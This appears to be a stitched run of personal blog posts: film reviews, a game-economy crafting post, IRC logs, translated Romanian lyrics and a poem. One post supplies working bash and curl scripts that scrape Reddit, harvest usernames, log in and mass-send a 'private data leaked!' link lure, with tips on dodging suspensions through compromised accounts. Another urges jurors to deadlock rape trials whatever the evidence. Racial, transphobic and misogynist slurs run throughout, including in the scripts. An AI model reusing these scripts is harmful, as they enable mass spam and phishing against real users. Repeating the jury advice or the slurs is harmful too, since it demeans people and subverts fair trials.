The third self-deluded prostitute. Ugly, lanky, old crack whore, who is picked by the hair by random angry invader of the improvised brothel she inhabits. Nobody notices and nobody cares, yet she puts in the effort to walk (still barefoot) back however miles on Los Angeles pavement (she also didn't make) only to be told that she's been replaced and "just hang, okay ?". All the while, to quote, "See, I know a lot about the music industry. I know a lot of people in the music industry. I myself sing."
The married cab driver / whoremonger. His wife loves him, and he loves her kid. She doesn't love him enough to put the obnoxious fat old woman in her place. He doesn't love her enough to solve this problem correctly. So he blows off steam with the gunk above, while the wife just boils by herself, pressure slowly increasing, and the old nag pursues unhindered her delusions of relevancy and importance. For all its stupidity, this type is incredibly common, especially historically, and as a result sort-of anchors the nonsense, if you're generous.
The entire menagerie depicted, as well as the depiction and the consumption of that depiction exist strictly as epiphenomena of an overgenerous welfare state. They carry no value and no importance, they do not speak to or of mankind, their presence is exactly equivalent to the eerie blue of Cherenkov radiation : a sad epitaph of a certain kind of context hostile to human life.
———2015, by Sean Baker, with a bunch of unremarkable trannies. [↩]You recall,
Fuck, fuck, fuck, mother motherfuck mother motherfuck fuck motherfuck motherfuck. Noise, noise, noise 1, 2, 1, 2, 3, 4 noise, noise noise. Shmokin'weed shmoking wizz doin' coke, drinkin' beers. Drinkin' beers, beers, beers. Rollin' fatties, smokin' blunts. Who smokes the blunts? We smoke the blunts! Rollin' blunts and smokin'-
(Uh, lemme get a nickel bag)
15 Bucks, little man, put that shit in my hand. If that money doesnt show then you owe me owe me owe.
while propping the wall of a convenience store they weren't welcome patrons of. [↩]No, this doesn't mean "boss" or anything of that human nature. It simply means "zoo keeper", human lost among the monkeys trying desperately to keep pants on. A fundamentally comedic role. [↩]
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Category: Trilematograf
Thursday, 21 July, Year 8 d.Tr.
Tales of Manhattan
Tales of Manhattani is interesting on one hand because of the absolute performance of Ginger Rogers as an adult woman, entirely made of eyelash and lipflash and so on and so forth - doubtlesslyii the model Jane Fonda spent her life trying and failing to imitate - and on the other for purely historical considerations. There's a wealth of little things that round out the idea of "how life was" back then (and while the blacks are very thickly parodied, it's not untrue to say blacks were substantially circus props in the US of 1942).
It's deeply unclear why Robinson's character would be first dropping out, then going back in ; it's deeply unclear why Rogers' character would switch one weak loser with ballsac in a sling for another, exactly identically weak loser with the ballsac in a slightly differently colored sling ; similarly there can be no sane explanation for the behaviour of the black dudes. The film, in other words, has no script, but this is not necessarily a disaster. Absence of script often signals the early stages of a project falling apart, but not always. Sometimes, as is the case here, the how actors do things is much more interesting than any conceivable why could ever have been. I really don't give a shit to know what impels Ginger Rogers to crook her head ; the crook of her head is however accomplished beyond all others.
There are certainly worse ways to spend an early afternoon.
———1942, by Julien Duvivier, with Edward G Robinson, Ginger Rogers, Rita Hayworth, Charles Boyer. [↩]Her dad plays the Ginger Spider's victim, here. [↩]
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Category: Trilematograf
Friday, 24 June, Year 8 d.Tr.
STFU, Attention Whore Culture.
Should be enough to explain why, if you're ever stuck with jury duty for one of those bullshit "rape" casesi your only job there is to deadlock the jury. No matter what anyone says, no rape took place. Nothing took place, really, and the efforts of the socially marginal to hog the microphone should not be encouraged. They're socially marginal for a reason.
No matter what any whinebag might try to pretend, the only victim there is you. Close that shit down.
———You know the kind - no battery, no assault, no restraint, no violence of any kind, Little Bo Peep's not pleased with the day-after gifts / dude's taken too long to call / dared to go out with his girlfriend after a spirited bout of afterparty drunk fucking he'd much rather forget etc.
Especially evident when the faux "victim" is about college age and admits to spending her time on "social media". [↩]
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Category: Meta psihoza
Wednesday, 11 May, Year 8 d.Tr.
So you're a rational fellow, right ?
Oh, you are ? You know what, that's great! Good for you!
Even better for me that we've met, because to be honest and lay it all out in the open, I might be rich, but I'm not actually all that good with the thinker, if you know what I mean. It's just never been my forte i, and I've recently encountered a situation where a fine rational fellow such as yourself might help me a great deal. So let me lay it all out clearly and despacio as they say, and then we'll figure out what we can do for each other.
As you know Eulora is a game and all that. It sports rather complex craft trees, and a very peculiar sort of mechanic, to wit that all items have a quality, which is currently set entirely by the skill level of the producer, be he a miner, crafter, anything else. Basically in Eulora you can make a silk purse out of sow's ear, just as long as you're the sort of fellow that makes silk purses. On the other hand, if you're the sort of fellow that makes sow's ear aspic, all the silk in the world won't help you any, it's still aspic that comes out of your hands.
The game also has base values for all items, which is to say what the publisher would buy them back for. These get adjusted for quality, and so a chunk of Slag for instance sells back for 677 ECu at quality 100, or for 839 ECu at q 124 and so forth.
Finally, it has a very entrenched principle that nothing is created out of thin air or vanishes into thin air - and by way of consequence nothing disappears into thin air either. So then, a rational fellow might inquire, what would happen if someone takes very high quality Silk's Ear, say q 200, and makes very low quality Purse Aspic, say q 50 ? Well, experience might answer, this is what's known in Eulora as overcraft, and it results in random loot. Sometimes not much at all, sometimes a great deal, but such is life in the dismal world.
Fine, the rational fellow may respond, it results in random loot. But what is it ? It can't just be "random loot" as a meta concept, it has to have a physical, or at any rate, game-ical representations, right ? Right! And here's the rub. Originally, crafters overcrafting would loot blueprintsii but after a recent change, they started looting a new category of items - Numina.
Without going into too much detail, the fact remains that blueprints are no longer produced currently in Eulora, making all the remaining stocks extremely difficult to value. It is widely suspected that recent items won at auction work to somehow produce blueprints, perhaps by using some amount of those Numina items, but the exact details aren't known, and as a matter of fact not a single blueprint has yet been produced through this process to date - although it's been twelve days.
This change has made its winners and losers, like all passage of time ever does. Tools that used to sell for maybe 130% are now offered for 260% and it's not even clear they're overpriced. I sold a large batch (bout 10 mn ECu worth or so) of Chetty Sticks at 160% because the auction price seemed to me irrational. Turns out I'm really not very good with this whole rational business and I should have held out for 300%. For a long time it was accepted knowlege, on no basis other than consensus, that being a mid-range crafter is not worth the hassle. Large packages were constantly offerediii for middling crafters, and while they generally went, there wasn't ever much competition to underwrite the production. If only we'd have done more of that!
But so it goes, and here we are - our only hope to come out of this hole is to get the blueprint making cycle going. This is complicated, because it requires as follows :
How about that!
I have a hundred of these. They cost me fifty million ECu, that's exactly half a Bitcoin. Would you pay half a Bitcoin for a hundred of that ? Rationally speaking, I mean, that's what you're here for, after all. Isn't it ? Your reason ? So when's the last time you spent half a Bitcoin on anything ? But rationally, mind!
Moving on : due to an epochal dealiv last week where Daniel agreed to supply me with Black of Desspayr recipes, I am in a good positionv with regards to that ingredient. I still haven't reached any sort of deal when it comes to the Inconsequential Sacrifice Tokens, relatively rare items that are only produced at great expense and difficulty through Sacrifice. I do have a few Doubtful Tomes, but they take Giant's Rotten Canine of which I have precious few and Shed Snakeskin, which blessfuly has been found but isn't exactly abundant.
This is how far my wealth has carried us - millions upon millions worth of virtual and imaginary items (as all wealth ever is) and we're not quite there yet. Let's see if your ration & reason shall be able to bridge the gap so we may cross into the happy land of abundant blueprints once more.
Left to acquire - between 1 and 99 Assorted Library Mites. If it is in fact the case that this blueprint is the way to produce other blueprints, then I want to overcraft as much as possible, which means that I want 99 Mites, no question about it, and of a quality as high as possible, also. To do some math : the Doubtful Tome has a base value of 88`462 ECu. It's McGuyver for some reason, so I'd craft it at q 143. The Sacrifice Token is very low base value, 100 ECu if memory serves. The Black of Desspayr is 29`170 ECu at q 100, I expect to make it q 150. The Mites are 1`000 ECu base value, I have no idea what quality I'd be getting them at. As far as I can guess, my Bouquinist crafts should come out q 145ish or thereabouts. On the basis of the ingredient list we can calculate the base value of this thing as 88`462 + 2 * 29`170 + 100 + 1`000 = 147`902 ECu at q 100. A decent chunk of change, wouldn't you say ?
As far as overcraft is concerned, if I put in 88`462 * 1.43vi + 2 * 29`170 * 1.5vii + 100viii + 99 * 1`000 * xix + 2`515x + 339xi worth of material and then take out say 147`902 * 1.45 worth of product, I'd be overcrafting worth 217964.66 + 99`000 * x - 214457.9 = 99`000 * x + 3506.76. In other words - I get bupkiss for just existing, and every point in X (ie, every 100 quality points) is worth almost a hundred grand in overcraft.
The mechanics of looting are not well understood, but it appears that one will practically never receive less than say a fifth or maybe a quarter of what he puts in - but occasionally may receive many times over. Let us not concern ourselves too much with the mechanics of odds and the proclivities of lady Luck, but instead look at the lower bound. Judging by that measure, overcraft of say 50`000 will produce whatever results at the lowest, whereas overcraft of say 150`000 will produce three times those same results. Since our very significant 200k cost is roughly speaking the equivalent of NRExii, it stands to reason we want as much of the 2nd part as possible. It's one thing to try and justify a 200k + 150k expenditure on the basis of 150k worth of desired results ; it's another to try and justify a 200k + 50k expenditure on the basis of merely 50k worth of desired results.
So therefore it is settled - I will want 99 Numina items, and I will want them as high quality as possible.
The obvious way to produce these would be through overcrafting Bouquinism, and the obvious way to do that would be through the Maculature line, whereby you can burn 1 to 99 of 16 different types of recipes for truly massive overcrafting - probably the largest available in game so far. Yet I won't be doing this, because I'm not quite that irrational. The entire exercise is predicated on trying to produce blueprints after all, not destroy the scant ones we still have.
Alternatively, one could produce Extremely Creaky Vellum, which works out as needing 1 Bird's Nest and Gin and 21-23 Worthless Putrid Leathers. This works much better for our purposes, because that extra 2 leather will allow some overcrafting. Ever helpful, upon hearing of the predicament Foxy offered to sell us a large batch of leather, which is good and welcome and all bought by now - 3k or so leather q 141. She also, and this is the catch, offered to sell us 26 Bird's Nest and Gin bottles, which she had kept in her old cellar ever since much better days last summer, when I was making it q 195, for a price of 903k.
Now, knowing that the loot we stand to make clicking on the Vellum is either Collected Library Dusts (bv 10 ECu, not useful here) or Assorted Library Mites (what we want here, but rarer loot!), what is the better of the following two alternatives :
Pay Foxy 903k on the q 195 BNG, and then craft a run of 11`395xiii * 1.95 + 23 * 152 * 1.41 + 2`515xiv + 339xv = 30`003 ECu in with 14`587 * 1.45 = 21`151 ECu out for an overcraft of 8`852 each click for 26 clicks
Or else not pay Foxy the 903k, and instead do a craft run of 11`395 * 1.5 + 23 * 152 * 1.41 + 2`515 + 339 = 24`875 ECu in with the same 14`587 * 1.45 = 21`151 ECu out for an overcraft of 3`724 ECu for however many clicks it takes to deliver the same results as above ?
If we believe that overcraft is fungible, to wit that 26 * 8`852 = 230`152 ECu worth of overcraft made through the first option is the same as 61.8 * 3`724 = 230`143.2 ECu worth of overcraft made through the second option, it then comes to compare the cost of paying Foxy 903k as well as to pay for 23 * 26 = 598 bits of Worthless Putrid Leather with the cost of buying 61.8 bottles of BNG as well as 23 * 61.8 = 1`421.4 WPL, ie an extra 823.4, plus the decay of tool and workbench involved in doing another 61.8 clicks. As it happens the leather goes at 130%, has a base value of 152 and a quality of 141, so we can readily know that the extra leather costs us 229`412 ECu. The tool and bench are a little iffier, but going by a rough 200% approximation we'd be spending a further (2515 + 339) * (61.8 - 26) * 2 = 204`346 ECu there. The question then becomes : is saving on 61.8 BNG worth an expenditure of 903`000 - 204`346 - 229`412 = 469`242 ECu, or 7`593 ECu per bottle ? As it happens that BNG bottles have a base value of 11`395 and considering the quality they'd be required at and what prices look like of late, it'd be a wonder if we could make them for less than 25k each.
If however we do not believe overcraft is fungible, such as for instance by believing that the second line is not even worth pursuing as the overcraft quite likely will not in general include any of the desired Numina items, as we make them at q 145 meaning they're worth 1`450 ECu each which is much more than what that sort of overcraft minimally returns, then it's not even worth doing the math.
Consequently, buying Foxy's Bird's Nest and Gin is a very reasonable, rational and economically sound move, and I shall proceed to do it forthwith. Thank you for your help in this matter!
———Can't say as I regret it. We can't all be born with all the blessings, I'm rich, you're smart, we should get along just fine, right ? [↩]You can't craft without one. Every item made eats up one. They're like looseleaf knowledge/item wrappers or something. [↩]Some of the larger ones during the month of December : 30k IBS (about 12 mn ECu) and 4.5k Slag + 900 IO (about 15 mn ECu) on December 31st ; 4k Slag + 800 IO December 20th ; 10k Slag on December 8th, this last deal including the fateful words "you're getting 8.95mn for the slag guaranteed plus whatever the bps are worth". Turns out... BPs are actually worth quite a lot, nowadays. [↩]Valued at something no less than 15 million. [↩]I still need to take 6`800 Three-Pointed Thorns and 16`000 Rickety Reeds and make 400 Charcoal (which is 400 clicks on a Bandar Toolkit, which at current quality of production means a total of 10 Toolkits, which means 10 Deserted Crab Shells and 30 used tools and on and on -- plus, of course, the blueprints!), which I then need to add together with 3`400 Polished Small stones and make it into Ampoules (with the corresponding 200 clicks on a Turning Table which are extremely rare currently, we only have a few blueprints altogether, plus they take Unsteady Scaffolding to make which... o god).
Which Ampoules in turn get mixed with 6`600 Elusive Purple Snails (which just about wiped my previously immense stocks of snails) and 3`600 Better Bitterbeans to make the ink in question. On Samovars, 200 clicks of which means again like 5 tools, which not only means 50 Shaped Slag (you know, the stuff that is used to make tools which we don't have, and also lack recipes for) but also take the unfound and irreplaceable Slithy Tove.
Not a big deal, right ? All solved. [↩]Quality adjustment. [↩]Idem. [↩]Whatever. [↩]We don't know what quality the bits will be, do we ? [↩]The decay of the workbench, in this case a Worn Old Screens [↩]The decay of the tool, in this case a green pair of Penace Clogs. [↩]Non recurring engineering cost, ie, whatever money you permanently blow independently of result whenever you try making something. [↩]The BV of the BNG [↩]The decay of the Worn Old Screens [↩]The decay of the Penace Clogs. [↩]
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Category: S.MG
Saturday, 27 February, Year 8 d.Tr.
Slums of Beverly Hills
Slums of Beverly Hillsi is a rather pleasant retelling of the rather unpleasant youth of a girl I know. Perhaps you know her too, as it turns out there's quite a whole lot of them.
The film is supposedly set in the 70s, but apparently a coupla decades later very little substantially changed. The bungalow "motel-people-insist-to-pretend-is-your-home", oddly reminescent of this place we used to rent for a few weeks in the Summer at the Black Sea ; the economically untenable living arrangements "for a good school district" ; the deeply neurotic, fundamentally inept males (of all biological ages), incapable of normal or at least easy function no matter the field ; the nonsense piled so high on top of previously unresolved nonsense on top of more nonsense that all you can do in a limited timeframe is have a steak at Denny's and pretend none of it ever happened ; the altogether accidental, deeply dysfunctional, meaningless goop of it all, so very much more America than "government by the people for the people" or "I pledge allegiance" or "I came to this country as a poor ..." or any other statement of oniric aspiration.
Natasha Lyonne is doing ok as a lovable young chick whose breasts keep changing as if the producers couldn't retain a double that wasn't a total flake, even if her Rhode Island accent is a tad disconcerting. Hey, they're Jewish, right ? Alan Arkin (he played the loser in Glengarry Glen Ross) is very convincing in the role of the 65 year old father raising three children, and doing a decent job of it, too. Marisa Tomei is a very good actress, which allows her to navigate the very difficult waters of "my uncle just grabbed my boob but whatever, it's just a boob, right ?". She's delicate and precise and carries the blondy through.
There's an overlong scene with a vibrator and dancing that I imagine was intended to be funny, or at least qualify the thing as a comedy. Maybe back in the 90s it actually was funny, who even knows anymore. Do you remember the 90s ? Lipreading and no new taxes, end of Communism and the first war to be won by America since WW2, "the service economy" aka "we'll grow rich doing each other's laundry" and the killer micro, strangely enough nothing fucking happened in the 90s. A gleeful sprint down a blind tunnel meanwhile abandoned, and thus forgotten. So it goes.
The decay, the coming night is already evident in the monologue of the rich guy, incomprehensible in the context of the film, inevitable in the context of the era - he wants some recognition, and can't for the life of him find someone capable of recognizing, or whose recognition'd be worth two shits or to any degree meaningful.
The next generation didn't stick around after that.
———1998, by Tamara Jenkins, with Natasha Lyonne, Alan Arkin, Marisa Tomei. [↩]
« Eulora : Auctions and Bilbulations
Republican History of Jewry »
Category: Trilematograf
Monday, 21 March, Year 8 d.Tr.
Say a prayer...
Say a prayer for von Herder - his mare's run away. Yet he'll walk 'til he finds her... his darling... his stray.
Though the river's in flood, and the roads all awash, and the bridges break up, and the Sun's setting Boschi. And there's nothing to follow. There's nowhere to go, for she's gone like the Summer... she's gone like that snow. And the crickets are breaking his heart with their song as the day caves in and the night is all wrong.
Did he dream, was it she who went galloping past and bent down the fern and broke open the grass ? Or who printed the mud with the iron and gold that he nailed to her feet when he was her lord ? And although she goes grazing a minute away he tracks her all night, he tracks her all day. Oh! Blind to her presence except to compare his injury here with her punishment there... Then at home on a branch in the highest tree a songbird sings out so suddenly.
Ah the Sun is warm and the soft winds ride on the willow trees by the riverside. Oh the world is sweet, as sweet as wide and she's there where the light and the darkness divide. And the steam's coming off her, she's huge and she's shy, and she steps on the Moon when she paws at the sky. And she comes to his hand but she's not really tame, she longs to be lost. He longs for the same. And she'll bolt and she'll plunge through the first open pass to roll and to feed in the sweet mountain grass. Or she'll make a break for the high plateau where there's nothing above like there's nothing below...
But it's time for the burden, it's time for the whip. Will she walk through the flame, will she fit in his grip ? So he binds himself to the galloping mare as she binds herself to the rider's snare. Beyond notions of space there's a left, and a right. There is no time, but there's still a day. And a night. When he leans on her neck and he whispers low "Whither thou goest so I will go".
And they turn as one, and they head for the plain with no need for the whip, ah, there's no need for the rein. Now the clasp of this union - who fastens it tight ? Who snaps it asunder, the very next night ?
Some see the rider, some see the mare, while you think that love's like smoke, beyond all repair. But his darling said "Leonard, just let it go by, that old silhouette on the great Western sky".
So I pick out a tune and they move right along, and they're gone like the smoke... and they're gone like this song.
———Hieronymus. Obviously. [↩]
« Kids born after the world went to shit aren't progressive. They're just lazy.
Let's drain the domain name swamp »
Category: Cuvinte Sfiinte
Friday, 11 November, Year 8 d.Tr.
Sad times in the Fiat Empire - apparently you can't give the dollar away these days.
From #trilema :
mircea_popescu soo... anyone want to sell me bitcoin for $100 paypal ? o.O
asciilifeform mircea_popescu: i'll do it. pgpgram re who/where
mircea_popescu works ty.
Framedragger hundred bucks? ich verstehe nicht :O
mircea_popescu lol
Framedragger fuck i just got it. been too long. not a WHOLE btc. D'OH
mircea_popescu well no lol. some tiny fragment.
From PM
mircea_popescu wait, i'm ~sending~ the paypal, right ?
asciilifeform oh lol i misread
mircea_popescu :p
asciilifeform i read it as 'i need a paypalling sent'. had nfi that mircea_popescu even kept a paypalator around
mircea_popescu i ended up with a "refund".
asciilifeform ah. btw you also have a $40 shop credit at macrofab
mircea_popescu o joy.
asciilifeform (the last-minute quartz resonator substitution i made cut a dime off unit cost)
mircea_popescu nice.
asciilifeform i use pp for exactly one thing, old iron on ebay
mircea_popescu i use it mostly to interface with the poor but stupid young women.
asciilifeform similar!
mircea_popescu too poor to know now stupid, too stupid to know how poor, it's a sickening display.
From #eulora
mircea_popescu danielpbarron you got a paypal account ?
danielpbarron yeh
mircea_popescu can i send you 100 bux for eu coppers ?
danielpbarron ..
mircea_popescu i ended up with a refund from dumbass fiat company that "takes" bitcoin. what can i say.
danielpbarron well i don't really want to sell coppers but i'm guessing you wound up with a paypal balance you don't want
mircea_popescu you guessed exactly right. jesus fuck can't give dollars away these days. nobody wants 'em.
danielpbarron i guess i'd want them for the right price but the right price is usually something the other party doesn't want
mircea_popescu o.o
mircea_popescu what'd be the right price here ?
danielpbarron usually i sell bitcoin for like 20% markup
mircea_popescu well it's your lucky day. pgp me your acct.
danielpbarron k
danielpbarron mircea_popescu, wotpaste.cascadianhacker.com/pastes/bET4k/?raw=true
danielpbarron i love that his paste thinger works in lynx
Do we need to revisit those ancient lolzi or has everyone pretty much got the messageii ?
———2013! Barely three years ago!
How long did you say before your 401k or whatever it's called ? [↩]The message being that yes there's a reason it cost BART 5bn to build 16 track miles. That reason is that the dollar is so unwanted, you can't give it away.
Good luck with that Great Again and things. [↩]
« No Such lAbs (S.NSA), November 2016 Statement
The burial ; and the impossible object. »
Category: SUA care este
Wednesday, 07 December, Year 8 d.Tr.
Sa ne bem siropul si sa ne cunoastem hip-hopul
Copii voi stati cuminti!
E timpul ca adultii sa isi iasa din minti!
Sa cumpere masini, haine si bijuterii
Telefoane, vibratoare si ecrane LCD
Suntem normali, avem doar nevoi speciale!
Acoperite de sume proportionale
Mai mult sau mai putin legale,
Fara misto!
Vreau o mie, un milion, o tona de Euro!
Planul e facut,
Sunt gata sa-l execut!
Nu o sa cersesc, nu ma umilesc, nu ii imprumut!
Fara rezidenta la penitenciar!
Fara sa ma stilizeze un gabor,
Cu creta pe trotuar!
Sunt actionar la SC Strazile
Imi apar si imi ajut aproapele!
Profit de moment, si candva cu alai
O sa ma duc sa servesc un Mai-Tai in Hawaii
Caci viata e ca un castel de nisip
Stiu bine, promit sa profit doar un pic
Vreau mult sentiment, vreau sa simt ca iubesc
Si-n ultima clipa sa simt ca traiesc
O sa ajungi la Balaceanca de destept ce esti
Si te trezesti ca n-ai realizat nimic sa imbatranesti
Te-ai gandit toata viata cum sa faci sa fie bine
Asta cand toata bucuria a trecut pe langa tine
Imi place,
Sa innebunesc cand vad o tirfa beata in dress
Clasa business dornica de sex
Sa innebunesc, iubesc sa fumez un cui,
Ca sa ma duca fix la dracu sa ii dau si lui!
Si muzica sa cante, si bani sa ai
Dar ai grija sa ii cheltui pana ajungi in rai
Ca poate Dumnezeu e Fiscul si tu tre sa ii dai!
Tu dormi... Nu dormi!
Daca sti frate sa furi, fura tu cum stii!
Daca poti frate sa bei, atunci bea tu pentru toti!
Daca ai omorat un om, scapa tu cum poti!
-Rx1
Pe strazi fara garzi
Pe unde se aduna brigazi
Pe unde unii stau treji
La fel ca berile in lazi
Pe acolo vin usor mergand catre viitor
Fara teama ca vine o zi cand mor
Deci, daca zici si tu simti la fel
Sigur pretuiesti faptul ca esti liber
Ca cineva ti-a zis candva ca momentul in viata asta til mai faci si cu mana ta!
E chiar asa! Ba chiar mai bine, ti-l poti cumpara!
Daca ai de retras o suma care inchide banca!
Da dincolo de asta aici e vorba de onoare, de coloane vertebrale, nu de parale!
Asa ca ce e cel mai important sau mai presus:
Sa imi traiesc viata si sa ies cu capul sus!
Ca stiu ca pot sa plec cand vreau eu,
Dar am sa plec, cum se zice
Cand vrea Dumnezeu
Acuma cinta!
Kiddies, sit put
It's time the grown-ups go wild
Buying cars, clothes and jewelry
Phones, vibrators and LCD screens
We're just about normal, but have special needs
Covered by proportionate sums
More or less legal,
No joke!
I want a thousand, a million, a ton of euros!
The plan's made,
I'm ready to execute
I won't beg, I'm not about to humble myself and I ain't borrowing jack!
No penitentiary residence
No copper drawing me
In chalk on asphalt
I'm a shareholders with Streets, Inc
I help and defend my neighbouri
I'll exploit circumstance, and one day, with a retinue
I'll go down a Mai-Tai in Hawaii.
For life is but a sandcastle,
I know it, and promise to take advantage jus' a little
I want a lot of feeling, I want to feel that I love
And in my last moment to feel I'm alive.
You'll end up locked up you're so smart,
And there figure out you've achieved nothing worth growing old
You spent your entire life figuring out all the angles
While all joy passed you by
I love to insanity seeing a drunk whore naked in stockings
Business class, looking to fuck
May I go mental, let me smoke a blunt
Let it take me straight to the Devil, I'll share
And let the music play, and let the money pile up
But careful you spend it before going to Heaven
Maybe god's the IRS and you'll have to give it some
You're sleeping ? Do not sleep!
If you know how to steal, steal as you know!
If you can drink, drink for us all!
And if you've killed your man beat it best you can!
-Rx1
On streets without pigs,
Where gather the brigades
Where some fizz out
Just like beers in crates
Around there I walk lightly towards the future
Without fear of that day I die
So, if you're the same mind
Doubtless you value your liberty
For someone told you sometime the chance in this life's oft made by your own hand!
It's quite so, or even better : you can also buy it
If you're caching a cheque larger than the entire bank vault
But outside it's always about honor and spine, not dimes
So what's most important and furthest above :
Living my life and coming out standing!
For I know I can leave whenever I feel like it,
But I'll leave, as they say
God willing
Now sing it!
Cam asta.
———"Aproapele", he close to you, in this form only encountered in Biblical reference. [↩]
« Return to Paradise
Sobieski si romanii »
Category: Cuvinte Sfiinte
Sunday, 17 July, Year 8 d.Tr.
Respiro
Respiroi recounts the story of Grazia, the wife of a superb Moor head. Grazia doesn't fit in.
It's not altogether hard to see why she wouldn't - a good half of the time and energy of the monkey-like inhabitants of the tiny corner of Sicily she lives upon is spent woman-herding. This behaviour, consisting of exactly what you'd expect, is perhaps unknown, perhaps even incomprehensible to you. Nevertheless, it is normative for human society throughout its geographic and temporal expansion, which far exceed both your own experience as well as the (very limited) relevancy of your monoculture. Most women in most places lived their entire lives in a herd of women, exactly like the one Grazia lives in, along with her daughters ; along with their daughters.
It's a complicated, mixed bag, including the ambiguous sexual presence of the woman's own sons, who are in fact more men than they are her children, and so perceive female freedom as alternative herding and naught else ; including the conclave of crones, the clotting agent of traditional Mediterranean society - always present at the spot of disturbance and consequently sharing a lot with the perception of crowsii ; including the abyssal, indescriptible love that can unite unlike things such as a woman and a man, but can't generally be even represented, let alone experienced, by any other ontological categories.
I would say Respiro does rise to the bar of tragedy, for the very simple and to me obvious reason that perfectly usable alternate routes were available to Grazia, and to Pietro, that wouldn't have led to doom and damnation. The husband could at any point have set proper limits upon the wife, and thereby rescued her from confusion. He chooses not to, and this choice is folly. The wife, more sensible, as always more sensible, does in fact stand on her right and speaks, but only when the knife scrapes bone : she does eject the "social workers" from her property - something that she actually has the indisputable (and undisputed) right to do, as alodial owner of the god damned house. She could have done the exact thing to a proper extent and earlier, rescuing everyone else from confusion. She doesn't intuit she has to, and more generally she doesn't perceive herself strong enough to, which perception may even be correct, but in any case the specific cowardice therein contained does not actually sit ill on a woman. She is after all to raise children, not to win wars, right ? There's men enough for that. Aren't there ?
The liberation of the dogs is an unspeakable scene. Let us leave it then unspoken. The end.
———2002, by Emanuele Crialese, with Valeria Golino, Vincenzo Amato. [↩]There's a truly ancient tradition of regarding the collective of old women as the definitive mediator, which is how the Fates ended up three infirm old women. [↩]
« The Huswife at the ATM
Giro girotondo con il sesso e bello il mondo »
Category: Trilematograf
Monday, 08 August, Year 8 d.Tr.
Reddit, the derpage of the Internet
To brush up on the previous discussion of the topic :
Reddit remains two years later just as vulnerable as it always was ; and just as vulnerable as every other "social media" / forum website out there today. Them's the breaks.
~ And now for the practical part of our article ~
I. Enumerating Reddit posts. Reddit, the derpage of the Internet, invented the cleverest scheme ever to prevent enumeration of its posts : you don't pass along an index parameter like with every other god forsaken web-social-media shithole, oh no! The much more secure and defense-y proactive in the global blabla method is to require an index and a token from the previous page! So you can only serialize, rather than... hey, what did enumeration mean again ? Oh, right, background and experience in security experience spawns many years. That's right.
Anyway, to cut to the chase, there's this little script :
#!/bin/bash
for value in {25..1000000..25}
do
variable=$(tail -n 1 retarddit-all.txt | awk -v FS="(count=$value&after=|\"rel=\"nofollow next)" '{print $2}';)
echo $variable
echo $value
curl -A "Nigger-Cunts/2.0 (UrMom Forever Linux rv:177.20.11) Dicko/555-328-3425i CALL NOW/DTFP" "https://www.reddit.com/r/all/?count=$value&after=$variable" >> retarddit-all.txt
sleep 3s
done
To use it : download the first page of reddit.com/r/all/ and save it as retarddit-all.txt ; then run the script. It will slowly balloon that file with the entire contents of the "all subreddits", which may not be interesting at all but is nevertheless chock full of... you've guessed it! Comments! Because that's ~what they do all day, other than huffing butter and not throwing out the cat litter. Which takes us to the next part of our show,
II. Enumerating redditards. Once you have a decently padded retarddit-all.txt worth a few GB or so, it's time to
cat retarddit-links.txt | grep -o '.\{0,32\}/comments/.\{0,128\}'ii > retarddit-link-mess.txt
cat retarddit-link-mess.txt | sed 'g%/r/%\n%' | sed 'g%/ "%/\n%' | grep "/comments/" > retarddit-links.txt
cat retarddit-links.txt | while read line; do curl -A "Nigger-Cunts/2.0 (UrMom Forever Linux rv:177.20.11) Dicko/555-328-3425 CALL NOW/DTFP" "$line?limit=500" | awk -v FS="(data-author=|data-author-fullname=)" '{print $2}' > rtards.txt ; sleep 3iii ; done
You can probably guess what this does - but if you can't : loads all the crap you previously downloaded, string-matches the sort of link we want, cuts the crap off on either side (hey btw - look up teleomers while at it, this is an educational programme after all!) and feeds it into a loop, which then proceeds to download the stuff into rtards.txt.
Here's a sampleiv, if you're lazy - and that takes us to the next part of our show,
III. Spamming reddit. Oh, you were wondering how the image above was generated ? Well, first we gotta login :
curl --cookie-jar - -A "Nigger-Cunts/2.0 (UrMom Forever Linux rv:177.20.11) Dicko/555-328-3425 CALL NOW/DTFP" --data
"op=login&dest=https%3A%2F%2Fwww.reddit.com%2Fmessage%2Fcompose%2F%3Fto%HilaryClinton&user=HilaryClinton&passwd=BillSucks&api_type=json"
https://www.reddit.com/api/login/HilaryClinton >> securitits.txt
You'll get some cookies, which you serialize ; and a "modhash" variable, which is the uh parameter. Thus informed, you can proceed to talk to people (from a safe distance) :
cat rtards.txt | while read line; do curl -A "Nigger-Cunts/2.0 (UrMom Forever Linux rv:177.20.11) Dicko/555-328-3425 CALL NOW/DTFP" --cookie
"__cfduid=d494d20a9cb1414f863b992823ebffcae1467378194;
loid=SsqCmIX20eiP8uhz9n;loidcreated=2016-07-01T13%3A03%3A14.348Z;
secure_session=1;reddit_session=59061742%2C2016-07-01T06%3A03%
3A14%2C2dcafd20966c1244720501a259e346df4695d62c"
--data
"uh=0vmwmaq1hn0f43858babf83785c5ef77ad5347cdeecd678941&to=$line&undefined=&subject=Check+this+out\!&thing_id=&text=%5B%2Fu%2F$line%5D(https%3A%2F%2Fbitly.com%2F297qOu4)+private+data+leaked\!&source=compose&id=%23compose-message&renderstyle=html"
"https://www.reddit.com/api/compose/" >> rtards-r.txt ; echo "\n$line\n"
>>rtards-r.txt ; sleep 3 ; done
Three to however many hours later, your account will get suspended. You don't particularly care, rtards-r.txt contains a lengthy lists of "success": true} followed by the name in question. Just resume from the last name, on another account.v
Enjoy.
PS. Oh, almost forgot,
Signature: 0x5f91152a2382b4acfdbfe8ad3c6c8cde45f73f6147d39b072c81637fe810060616039
08f692dc15a1b6ead217785cf5e07fb496708d129645f3370a28922136a32
———Eat-dicks, if you must know. It's a vanity thing. [↩]Dirty, I'll grant, but then again we're dealing with the web here, and not just any web, but a web property you understand. Heck, they even issued notes! It's practically a bank, you read me ?
What ever came of those, by the way ? [↩]In case you're wondering, they have a 2 second API threshold. [↩]~1.3MB, ~100k names on there. Only took all of half an hour to pile together, I'm sure you can do much better (though I'm unsure it'd matter, 100`000 redditards are too many for any purpose anyway).
By the way, do you suppose any of these use weak passwords by any chance ? [↩]If you stick to the same IP they'll hit you with google captchas at some point. They're as weak as we know them to be ; moreover using compromised user accounts or simply moving on to a new IP give you another few thousand shots at the retards' inboxes. [↩]
« Qntra (S.QNTR) June 2016 Statement
Atti impuri all'italiana »
Category: Meta psihoza
Friday, 01 July, Year 8 d.Tr.
Random visuals from someplace
Argentina is so pretentiously inept it can't even do Winter right, but let's instead pretend like we're in "someplace" and focus on visuals.
